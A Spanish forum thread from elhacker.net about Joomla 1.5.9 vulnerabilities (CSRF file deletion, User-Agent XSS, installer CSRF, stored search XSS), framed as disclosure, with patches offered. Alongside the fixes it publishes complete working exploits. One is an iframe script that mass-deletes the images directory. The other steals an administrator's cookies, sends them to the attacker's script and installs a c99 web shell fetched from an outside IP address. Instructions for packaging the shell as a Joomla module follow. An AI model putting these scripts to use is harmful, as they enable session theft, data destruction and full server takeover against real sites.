Foro de elhacker.net

He localizado una falla en Joomde tipo CSRF (Cross Site Rquest Forgery) que permite a un atacante la posibilidad de eliminar el directorio completo de imagenes lo cual sería fatál como para un sitio de noticias donde prescindisa de sus imagenes para poder dar su información. Esta falla no permite al atacante la posibilidad de subir un archivo ni eliminar los que estén fuera del directorio "/images".

La falla se localiza en el módulo de Administracion llamado "Media Manager" donde su petición GET para solicitar la eliminación de un directorio o archivo no incluye ningún Token o sistema de seguridad válido para impedir este tipo de ataques.

Prueba de concepto:
http://ejemplo.com/administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=directorio&rm[]=Imagen.jpg

El punto es que la falla se localiza en el archivo administrator/com_media/controllers/file.php en la linea 136 donde se omite el token de seguridad:

(http://www.jccharry.com/archivos_publicos/otros/joomla_csrf1.PNG)

(http://www.jccharry.com/archivos_publicos/otros/joomla_csrf2.PNG)

Un atacante necesitaría que el un usuario del sistema Joomla tenga derechos de Administración y caiga en algún tipo de engaño como una imagen falsa que redireccione hacia el borradoinicialmente del index.html que impidía ver los archivos, una ves eliminado el mismo script podría tener la capacidad de listar todos los archivos a eliminar con un segundo ataque puesto por ejemplo dos veces en una misma firma dentro de algún foro o publicación parcial del mismo sistema como editor.

Nota:
Los archivos que pueden ser eliminados no necesariamente deben ser imagenes ya que el sistema solo permite la subida de imagenes pero la eliminación de cualquier tipo de archivo.
Para poder repararlo solamente debes agregar el token de seguridad tal como aparece en la función de subida.

Fuentes:
http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
http://www.jccharry.com/blog/2009/02/09/whk_vulnerabilidad-de-tipo-csrf-en-joomla-159.html
http://forum.joomla.org/viewtopic.php?f=300&t=371705

hoho,  nice!, mmm que los filtros de Joomla no estan agregados? a simple vista el code es vulnerable, con el simple hecho al llamado de la funcion, uff se jode todo con el CSRF.

-berz3k.

Hola.

Y como logramos impedir esto?
Cual es el código a insertar/utilzar, para remediar dicha falla?

Será que soy muy bruto y ademas que no pico código que no lo veo por ningun lado!

Cual es la solución a esto hermano.?

Hola.

Bueno la solución es sencilla, aquí está, buscamos el archivo <b>file.php</b>, que se encuentra en:

..administrator/components/com_media/controllers

* En la línea 36 tenemos el llamado a la función upload:




* Debemos cambiarlo por esto:



* Ahora buscamos el archivo <b>folder.php</b> de esa misma carpeta.
* En la línea 57 tenemos


* Cambiarlo a:


Más abajo en la línea 100 tenemos:


* Cambiarlo a:


* Seguimos más abajo en la línea 120 y tenemos:


* Cambiarlo a:


Hasta ahora eso es todo lo que pude obtener.

Saludos

@alakentu, la gran magia del


-berz3k

PD: Voy a probar el fix

Muy buen aporte, lo probare en localhost.

saludos, Dacan  :D

Fantastico post, y muy bien detallado, aunque creo que seria mejor que lo reportaras a los interesados por privado y luego una vez corregido el bug lo explicases, mas que nada para evitar malos usos de esta información....

Pero este no sería subforo de bugs y exploits sin el exploit XD

<?php
// Joomla 1.5.9 Eliminacion arbitraria del directorio de imagenes por WHK
// http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
$WEB_VULNERABLE = 'http://www.ejemplo.com/';
if(!$archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
 echo '<iframe src="'.$WEB_VULNERABLE.'administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=&rm[]=index.html" width="1" height="1" frameborder="0"></iframe>'; 
 ob_get_contents(); // Desplegamos el iframe y causamos una interrupcion...
 sleep(5); // Damos unos 5 segundos para que se elimine el index.html que protege al directorio
}
// Continuamos con el plan...
if($archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
/* Creamos los iframes que forzaran la eliminacion de todos los archivos de una sola vez */
 foreach($archivos as $valor){
 // Reconociendo si es archivo o directorio
 if(eregi('/', $valor[(count($valor)-1)])){ $tipo = 'folder'; }else{ $tipo = 'file'; }
 echo '<iframe src="'.
 $WEB_VULNERABLE.'administrator/index.php?option=com_media&task='.$tipo
 .'.delete&tmpl=component&folder=&rm[]='.urlencode($valor)
 .'" width="1" height="1" frameborder="0"></iframe>'; 
 }
}
function obtener_archivos($url){
 $buffer = explode(']"> <a href="', file_get_contents($url));
 foreach($buffer as $item=> $valor){
  if($item != '0'){ // Procesa solamente links
   $temporal = explode('"', $valor);
   $retorno[count($retorno)] = $temporal[0];
  }
 }
 return $retorno;
}
?>

Metes este php dentro de un iframe por ahi en una web y le dices al administrador que la visualize :p pero está mas que claro que estoy demostrando el esenario de un atacante para que puedan comprender como protegerse, por ejemplo no aceptando todo tipo de links que vean, navegar sin scripts o con no-script para blokear esos dichosos iframes, nunca ver otros sitios webs con el usuario de administracion logueado, etc etc.

PD: alakentu bienvenido al foro.

De hecho...

La vulnerabilidad se presenta en varios archivos y no solamente en file.php y default.php del com_media.

Hay otros componentes de joomla 1.5.9 que poseen la misma característica de "permiso" a los malos, para que puedan darnos un mal día.

Recomeindo amplaimente seguir de creca los cambios en joomla a travez de Joomla Code.

Saludos.

Bueno, además del CSRF (http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html) que habia encontrado anteriormente me topé con este nuevo bug buscando en las opciones de Administración. El componente afectado es el com_admin en la sección sysinfo como en el siguiente ejemplo:


El XSS se produce cuando se procesa el User-Agent del explorador declarado en las cabezeras:

(http://imgcash2.imageshack.us/Himg144/scaled.php?server=144&filename=dibujokw5.png&xsize=500&ysize=500) (http://img144.imageshack.us/img144/1456/dibujokw5.png)

Imagen en tamaño completo: http://img144.imageshack.us/img144/1456/dibujokw5.png

Ahora si esto lo pasamos al javascript podremos tomar el valor del token y enviar peticiones POST via ajax para crear superadministradores o hacer cambios en cualquier configuración, con esto solo bastaría subir un mod con una shell y sería todo para el administrador.

La desventaja para el atacante es que la explotación de un XSS via User-Agent solo era posible debido a fallas encontradas en flash tal como lo muestran en los siguientes enlaces:
http://sla.ckers.org/forum/read.php?2,14534
http://ha.ckers.org/blog/20070712/user-agent-spoofable-using-certain-programming-languages/
http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.html

Pero hoy en dia no conozco ninguna forma de realizar dicha explotación, pero con el tiempo hemos aprendido de que nada es imposibles y cada dia aparecen nuevas formas de hacer las cosas, hasta entonces este bug queda en manos de los chicos 0days  :P una vez realizado esto las posibilidades de explotar la falla son muchisimas y podrías hasta comprometer el servidor por completo pero como decía, esto está dificil de explotar.

De todas formas no deja de ser un bug y espero que Joomla pueda repararlo ya que en un futuro nadie sabe si se encontrará la forma de modificar dichas cabezeras y sería todo para los administradores de este sistema.

La falla está en el archivo administrator/com_admin/tmpl/sysinfo_system.php Linea 93

<?php echo phpversion() <= "4.2.1" ? getenv( "HTTP_USER_AGENT" ) : $_SERVER['HTTP_USER_AGENT'];?>

Modificar por:

<?php echo phpversion() <= "4.2.1" ? htmlspecialchars(getenv( "HTTP_USER_AGENT" ), ENT_QUOTES) : htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES);?>

De todas formas veo que casi ningún dato va con escape de carácteres HTML, que pasaría si algún otro valor contiene carácteres especiales tambien? yo me aseguraría y modificaría cada salida de datos por htmlspecialchars($buffer, ENT_QUOTES).

Fuente:
http://forum.joomla.org/viewtopic.php?f=300&t=371705&start=0

PD: conviné los post que habia hecho sobre joomla y los hize uno solo para que estubiera todo mas organizado y no hacer un tema cada ves que se encuentre alguna falla de esta version de joomla.

Bueno ya encontré otra falla  :P pero como todas las demás es poco probable su explotación inmediata pero posiblemente futura.
Esta ves es un CSRF en el componente "Installer" donde el paquete ya sea plugin o módulo se sube e instala sin ningún tipo de Token de seguridad por lo cual si logras encontrar un CSRF en un <imput type="file"> podrás causar la instalación arbitraria de componentes, plantillas, módulos etc, incluso hasta podrías subir tu propia shell.

Y donde está el token nuevamente????

Talves la gente que vea estos post dirán que ando mal del mate (mal de la cabeza) porque este tipo de fallas hoy en dia no son explotables o por lo menos no por alguna técnica pública pero algún dia aparecerán y el dia en que esto suceda joomla será unos de los primeros candidatos para la explotación de estas múltiples fallas.

Un amigo por el mensajero me comentaba sobre algunas personas que se dedican a la programación que dicen "como es inexplotable no se parcha" y es entendible, si ves un bug que para ti es inexplotable lo mas probable es que no lo repares porque supuestamente no tiene ningún riesgo hasta que aparece la gente que si lo logra entonces recién lo reparan. En este caso creo que es similar ya que en el componente search dentro del panel de administración se puede ver el historial de busqueda y me llevé la sorpresa de que este no filtra ningún carácter y me pregunté.. "¿Porque??" entonces mejor comenzé a instalar joomla en mi localhost para ya no seguir desmadrando mi sitio  :P y pude comprobar que el componente Search de la portada o sea el que ve el visitante ya tiene un filtro el cual elimina todos los caácteres después del "<" por lo tanto pensando como el codeador "esto es inexplotable así que no nos preocupamos por mostrar el historial de busquedas en la administración poniendo ningún filtro", pero que pasa si logro evadir ese filtro? puedo comprometer al administrador? la respuesta es si y eso fue lo que sucedió.

Esto equivale a
Lo ponemos dentro de la caja del buscador y nos enviará directamente al formulario del buscador avanzado con esta busqueda sin ser filtrada, ahora cuando el joomla tiene petysurl activado lo hace via petición GET y no POST así que hay que doble encodear cada carácter, por ejemplo:
Con esto ya el administrador podrá ver en su hermoso historial su XSS:

(http://imgcash2.imageshack.us/Himg443/scaled.php?server=443&filename=dibujo2zq7.png&xsize=500&ysize=500) (http://img443.imageshack.us/img443/9854/dibujo2zq7.png)
Tamaño original: http://img443.imageshack.us/img443/9854/dibujo2zq7.png

Mientras tanto que aparece el parche o actualización de joomla puedes desactivar el historial del buscador.

Ya con todo esto como que estamos listos para crear nuestro exploit con token y todo, hacemos un php que lanze una petición POST al buscador y seguidamente lanzamos la redirección hacia el componente afectado para causar la ejecución arbitraria, luego el xss llamará a un archivo de javascript alojado en otro servidor que realizará las acciones y estas serán obtener el token de seguridad y agregar un nuevo superadministrador para nosotros, seguido por la creación de un componente con una shell c99 incrustada para ganar el acceso total al servidor y si es posible rootearlo dependiendo de la versión del mismo y el estado de seguridad que pueda tener.

Voy a ir preparando los archivos para explicar paso por paso como hacerlo. Hasta la prox.

Encontré varios file disclosure en caso de que puedas tener acceso a la administración y necesites saber la ruta exacta del script.
Subes un archivo zip vacio al instalador de paquetes y te debuelve algo como esto:

PD: Me acaban de borrar el tema en el foro de joomla y les mandé un tracker pero no lo publicaron, será que no quieren que la gente sepa de la falla de seguridad hasta que salga el parche oficial? y hace tres dias que lo mandé a milw0rm y tampoco me han hecho caso jaja bueno, que cosas. Si sienten que estoy peinando la muñeca (http://www.mainframe.cl/diccionario/diccionario.php?palabra=Peinando+la+mu%F1eca&accion=Buscar) me avisan XD

Muy buen post WHK, la verdad es que siempre gusta testear los CMS más usados y conocer sus fallas.

Pero en último bug que publicaste (arriba de este post) nombras file disclosure, y yo no veo la existencia de esa vulnerabilidad. En todo caso PATH DISCLOSURE.

Que por cierto, en su día publique algo parecido para LOKICMS.

LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit
http://milw0rm.com/exploits/6737


Saludos!!

Si, tienes razón no es file disclosure sino path disclosure  :P

Tu tienes suerte  :P no se porqué pero sty0ke no publicó el bug de joomla 1.5.9 pero bueno, que le vamos a hacer. Ultimamente he estado mas censurado que pelicula porno en jardin infantil.

jaja bueno ... a mi también me han rechazado más de un bug, pero esto se debe a que no se puede publicar cualquier fallo, ya que muchos carecen de importancia. En tu caso, con el bug de path disclosure yo lo veo lógico que no te lo publicaran ya que para poder explotarlo debes tener acceso al panel de admin, y desde luego con acceso al panel seguro que hay distintas formas de mirar el PATH completo de cms y muchas cosas más interesantes que esta. Sin embargo, si se pudiera llevar con éxito esa misma vulnerabilidad sin permisos de admin, estoy seguro de que lo publicarían.

Pero desde luego, como ejemplo para los aprendices es un estupendo PoC para testear.

Saludos!

Bueno, el que envié a milw0rm fue el xss persistente en el buscador pero naa, hagan lo que quieran, al final ni se publicó ni se solucionó, cuando alguien comienze a desmadrar sitios con joomla entonces ahi si se van a preocupar.

Por ahi alguien me nombró el termino del "Quemeimportismo".

Lo prometido es deuda..
Hize un video y un exploit pero que hace?, solamente haces que un usuario con derechos de administración visualiza este script para que se le suba automaticamente una shell c99 eso es todo y al finalizar el script te deja un log diciendote si falló o donde quedó finalemnte la shell.
Lo único que deben modificar es la ruta del paquete de joomla que contiene la shell (ya les mostraré como fabricarlo) y la ruta del sistema vulnerable.

<?php
error_reporting(0);
 
$EXPL['SITIO_VULNERABLE'] = 'http://127.0.0.1/joomla/'; // Web vulnerable
$EXPL['URL_COM_SHELL'] = 'http://201.223.24.232:81/mod_arkimest.zip'; // La shell
 
$EXPL['XSS'] = '<script '.
'src="http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?act=js" ></script>';
 
if($_GET['act'] == 'js'){
 die('
 // Acá tu laaaargo script
 
 var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
 function base64_encode(input){
  var output = "";
  var chr1, chr2, chr3;
  var enc1, enc2, enc3, enc4;
  var i = 0;
  do{
   chr1 = input.charCodeAt(i++);
   chr2 = input.charCodeAt(i++);
   chr3 = input.charCodeAt(i++);
   enc1 = chr1 >> 2;
   enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
   enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
   enc4 = chr3 & 63;
   if(isNaN(chr2)){
    enc3 = enc4 = 64;
   }else if(isNaN(chr3)){
    enc4 = 64;
   }
   output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
  }while(i < input.length);
  return output;
 }
 
 window.location.href="http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?act=galletas&sabor=" + base64_encode(document.cookie);
');
 
}elseif($_GET['act'] == 'galletas'){
 if(!$cookies = base64_decode($_GET['sabor'])) die('<strong>No hay galletas ni chocolates :(</strong>');
 $buffer = http_get($EXPL['SITIO_VULNERABLE'].'/administrator/index.php?option=com_installer', $cookies);
 $buscar = explode('hidden" name="', $buffer);
 foreach($buscar as $encontrado){
  $encontrado = explode('"', $encontrado);
  $encontrado = $encontrado[0];
  if(strlen($encontrado) == 32){
   $hash = $encontrado;
   break;
  }
 }
 $buffer = http_post(
  $EXPL['SITIO_VULNERABLE'].'/administrator/index.php', $cookies, 
  $hash.'=1&install_url='.urlencode($EXPL['URL_COM_SHELL']).'&installtype=url&task=doInstall&option=com_installer&'
 );
 if(eregi('200 OK', http_get($EXPL['SITIO_VULNERABLE'].'/modules/mod_artimesk/mod_artimesk.php'))){
  // Explotación ejecutada con éxito! la shell está en /modules/mod_artimesk/mod_artimesk.php
  header('Explotado-por: WHK');
  $explotado = true;
 }else{
  // La explotación ha fallado.
  $explotado = false;
 }
 if($archivo_handle = fopen('log_('.date('Y.m.d.H.i.s').')_.txt', 'x')){
  if($explotado){
   fwrite($archivo_handle, 'La shell ha sido obtenida exitosamente!. URL: '.$EXPL['SITIO_VULNERABLE'].'/modules/mod_artimesk/mod_artimesk.php'."\x0D\x0A");
   header('location: https://foro.elhacker.net/nivel_web/multiples_fallas_csrf_xss_directoindirecto_en_joomla_159-t244742.0.html');
  }else{
   fwrite($archivo_handle, 'El sitio '.$EXPL['SITIO_VULNERABLE'].' no pudo ser explotado debido a que la versión de joomla no es compatible o el administrador no tenía acceso a su rpopio sitio web.'."\x0D\x0A");
   header('location: http://noscript.net/');
  }
  fclose($archivo_handle);
 }
 exit($explotado);
}
 
// Ejecuta el código javascript arbitrario
$pedir = $EXPL['SITIO_VULNERABLE'].'/index.php?searchword='.urlencode(urlencode($EXPL['XSS'])).'&ordering=&searchphrase=all&option=com_search';
if(http_get($pedir, 'null[]=token')){
 header('location: '.$EXPL['SITIO_VULNERABLE'].'administrator/index.php?option=com_search');
}else{
 die('hola :-s');
}
 
function http_post($url, $cookies, $postdata){
 $timeout = 100;
 $ch = curl_init($url);
 curl_setopt($ch, CURLOPT_POST, true);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
 curl_setopt($ch, CURLOPT_TIMEOUT, (int)$timeout);
 curl_setopt($ch, CURLOPT_HEADER, true);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
 curl_setopt($ch, CURLOPT_COOKIE, $cookies);
 $contenido = curl_exec($ch);
 $error = curl_error($ch);
 curl_close($ch);
 if($contenido)
  return $contenido;
 else
   return $error;
}
 
function http_get($url, $cookies){
 $timeout = 100;
 $ch = curl_init($url);
 curl_setopt($ch, CURLOPT_POST, false);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
 curl_setopt($ch, CURLOPT_TIMEOUT, (int)$timeout);
 curl_setopt($ch, CURLOPT_HEADER, true);
 curl_setopt($ch, CURLOPT_COOKIE, $cookies); 
 $contenido = curl_exec($ch);
 $error = curl_error($ch);
 curl_close($ch);
 if($contenido)
  return $contenido;
 else
   return $error;
}
 
?>

Como crear el Componente con la shell dentro?

mod_artimesk.xml

<?xml version="1.0" encoding="utf-8"?>
<install type="module" version="1.0.0">
	<name>WHK Arkimest</name>
	<author>WHK</author>
	<creationDate>March 2009</creationDate>
	<copyright>Copyright (C) WHK 2009. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<authorEmail>www.kernel32@gmail.com</authorEmail>
	<authorUrl>foro.elhacker.net</authorUrl>
	<version>1.0.0</version>
	<description>Artimesk</description>
	<files>
	 <filename module="mod_artimesk">mod_artimesk.php</filename>
	</files>
</install>
 

Donde dice "mod_artimesk.php" es el archivo que lleva la shell.

mod_artimesk.php

<?php /* acá mi shell */ ?>

Puedes poner lo que quieras o puedes usar directamente una shell c99 renombrada a mod_artimesk.php tal como esta: http://www.geocities.com/zkizzik/c99.txt

Toma esos dos archivos y guardalo en zip y ya tienes tu módulo shell para joomla ^^

VIDEO
C-J15H8FT5w

Ver video en tamaño completo:
http://lab.jccharry.com/joomla/xss2shell159/

Interesante  :P, he visto el video y solo puedo decir una cosa, tu si sabes elegir la música de fondo  ;-)

Saludos

Me ha llegado un correo desde Joomlacode.org y al parecer si les ha dolido un poco el video porque acaban de reabrir el tema que les habia enviado en el tracker donde exponía todo esto, al parecer en ese entonces no le dieron para nada importancia ya que hasta lo habian cerrado pero ahora después del video lo acaban de reabrir sin acceso a la totalidad del público y lo clasificaron como alto impacto XD


El tracker está acá
http://joomlacode.org/gf/project/jsecurity/tracker/?action=TrackerItemEdit&tracker_id=7925&tracker_item_id=15065
tal como lo dice el correo pero al ingresar me deniega el acceso  :P

Por lo menos ahora si van a  pensar en repararlo.

Muy bueno para que no se anden con rodeos de no reparar errores por mínimos que sean.

Felicidades, y por cierto que la musica de fondo del video esta genial.

Saludos

Me ha llegado el correo con la actualización.

Sistema actualizado y los problemas corregidos (por el momento). creo que con esto concluye este post, si alguien tiene dudas co cosas relacionadas puede postearlo con toda libertad.